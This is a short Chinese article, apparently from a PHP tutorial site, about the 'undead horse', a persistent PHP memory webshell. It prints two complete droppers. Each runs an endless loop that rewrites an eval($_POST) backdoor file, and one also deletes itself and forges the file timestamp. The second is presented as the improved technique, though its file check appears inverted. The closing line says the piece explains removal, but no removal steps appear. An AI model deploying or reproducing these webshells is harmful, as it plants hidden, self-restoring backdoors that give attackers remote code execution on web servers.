什麼是不死馬?
記憶體馬,通俗講就是不死馬,就是會運行一段永遠不退出的程式常駐在PHP進程裡,無限執行。
產生過程 (推薦學習:PHP影片教學)
不死馬.php → 上傳到server → server執行檔→ server本地無限循環生成(一句話.php)
網路上流傳的不死馬
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '2.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .2.php'); usleep(5000); } ?>
網路上流傳的不死馬,while裡面只是並沒有判斷了這個文件是不是存在,那我只需要把這個檔案中的shell註解掉就可以繞過你的記憶體木馬了。
正確的姿勢應該是這樣 :
Copy<?php ignore_user_abort(true); set_time_limit(0); $file = 'c.php'; $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'); while(true) { if(md5(file_get_contents($file))===md5($code)) { file_put_contents($file, $code); } usleep(50); }?>
以上是php不死馬如何刪除的詳細內容。更多資訊請關注PHP中文網其他相關文章!